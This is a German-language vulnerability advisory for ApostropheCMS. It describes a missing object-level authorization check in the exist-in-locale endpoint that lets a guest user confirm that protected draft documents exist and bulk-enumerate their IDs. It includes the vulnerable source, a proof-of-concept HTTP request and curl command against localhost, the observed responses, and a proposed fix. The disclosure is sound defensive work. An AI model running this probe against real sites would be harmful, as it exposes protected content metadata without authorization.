ApostropheCMS: Umgehung der Autorisierung auf Objektebene in exist-in-locale legt Kennungen geschützter Entwürfe offen

Zusammenfassung

Die exist-in-locale-API von ApostropheCMS ermöglicht es einem authentifizierten Benutzer mit geringen Rechten festzustellen, ob geschützte Dokumente in einem bestimmten Gebietsschema (Locale) und Modus, einschließlich des Entwurfsmodus (Draft), existieren. Der Endpunkt gibt lokalisierte Dokumentenbezeichner zurück, ohne Kriterien zur Berechtigung auf Dokumentenebene (Anzeige- oder Bearbeitungsrechte) anzuwenden.

Das Problem wurde an einer realen lokalen ApostropheCMS-Anwendung unter Verwendung des überprüften Quellcodes reproduziert. Für den Test wurden ein synthetisches Gastkonto sowie synthetische geschützte Entwurfsdatensätze verwendet.

Details

Exakter betroffener Quellpfad: packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529 Exakte API-Route: POST /api/v1/@apostrophecms/i18n/exist-in-locale

Der Handler überprüft lediglich, ob der Anfragende authentifiziert ist:

if (!req.user) {
  throw self.apos.error('notfound');
}

Anschließend führt er eine direkte Datenbankabfrage unter Verwendung vom Angreifer kontrollierter Dokument-IDs, Locales und Modi aus:

const found = await self.apos.doc.db.find({
  aposLocale: `${locale}:${mode}`,
  aposDocId: {
    $in: ids.map(self.apos.doc.toAposDocId)
  }
}).project({
  _id: 1,
  aposDocId: 1
}).toArray();

Diese Abfrage wendet Folgendes nicht an:

• .permission('view')
• .permission('edit')
• apos.permission.criteria(req, 'view')
• Autorisierung auf Objektebene (Dokumentenebene)
• Gebietsschemaspezifische Autorisierung

Der Endpunkt akzeptiert mehrere IDs, wodurch eine Massenabfrage (Bulk Probing) möglich ist.

Proof of Concept

Die lokale Anwendung lief unter: http://127.0.0.1:3000 Das Testkonto besaß die Rolle mit niedrigen Rechten: guest Die lokale Datenbank enthielt synthetische Datensätze für die geschützte Dokumenten-Basis-ID:

wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft

Alle Anmeldeinformationen und Cookies wurden nachfolgend unkenntlich gemacht.

POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Content-Type: application/json
Accept: application/json

{
  "ids": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft",
    "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
  ],
  "locale": "fr",
  "mode": "draft"
}

Äquivalenter Befehl

curl -i -sS -X POST \
  'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
  -b /path/to/redacted-guest-cookie-jar.txt \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json' \
  --data-raw '{
    "ids": [
      "wv2l4rbaplgzkg80zkne4aoz:en:draft",
      "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
    ],
    "locale": "fr",
    "mode": "draft"
  }'

Beobachtete Antwort

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
  "originalLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:en:draft"
  ],
  "newLocaleIds": [
    "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
  ],
  "aposDocIds": [
    "wv2l4rbaplgzkg80zkne4aoz"
  ]
}

Die nicht existierende ID wurde in der Antwort ausgelassen. Dies belegt, dass der Endpunkt als Existenz-Orakel fungiert.

Autorisierungskontrolle Unter Verwendung derselben authentifizierten Gast-Sitzung und des oben zurückgegebenen lokalisierten Dokumentenbezeichners wurde die normale Seiten-API angefragt:

GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-guest-session>
Accept: application/json

Beobachtete Antwort:

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{
  "name": "forbidden",
  "data": {},
  "message": "forbidden"
}

Dies zeigt die Autorisierungsgrenze deutlich auf:

Zusätzliche Validierung der Auswirkungen

Das Verhalten wurde zudem über mehrere Kombinationen von Locales und Modi hinweg getestet:

Dies bestätigt, dass der Endpunkt verwendet werden kann, um herauszufinden, ob ein Dokument über einen lokalisierten Entwurf in einem bestimmten Locale verfügt, und um Massenaufzählungen durchzuführen.

Auswirkungen

Ein authentifizierter Benutzer mit geringen Rechten kann:

• Beliebige bekannte oder erratene Dokumenten-Basis-IDs überprüfen.
• Bestimmen, ob geschützte Dokumente lokalisierte Versionen besitzen.
• Bestimmen, ob unveröffentlichte Entwurfsversionen existieren.
• Feststellen, welche Locales passende Datensätze enthalten.
• Exakte lokalisierte Dokumentenbezeichner erhalten.
• Mehrere IDs in einer Anfrage zur Massenaufklärung übermitteln.

Das Problem legt nicht direkt den Dokumenteninhalt offen und gewährt keine Schreib-, Veröffentlichungs- oder Löschrechte. Während der Tests wurden keine Inhalte modifiziert, veröffentlicht, gelöscht oder über die Metadaten der Bezeichner hinaus offengelegt.

Empfohlene Behebung

Vor Ausführung der Datenbankabfrage sollten dieselben Autorisierungskriterien auf Dokumentenebene angewendet werden, die auch von der regulären Dokumenten-API verwendet werden. Die Abfrage sollte auf Dokumente beschränkt werden, die der Anfragende im angeforderten Locale und Modus einsehen darf. Entwurfsabfragen sollten zusätzlich die entsprechende Berechtigung zur Anzeige von Entwürfen für das jeweilige Dokument erfordern und sich nicht nur auf eine bloße Authentifizierung oder eine globale Rollenprüfung stützen. Der Endpunkt sollte es außerdem vermeiden, lokalisierte Dokumentenbezeichner für Datensätze zurückzugeben, welche die Kriterien für Dokumentenberechtigungen des Anfragenden nicht erfüllen.

• [1] ApostropheCMS i18n source — existInLocale handler, lines 503–529
• [2] Official ApostropheCMS i18n API documentation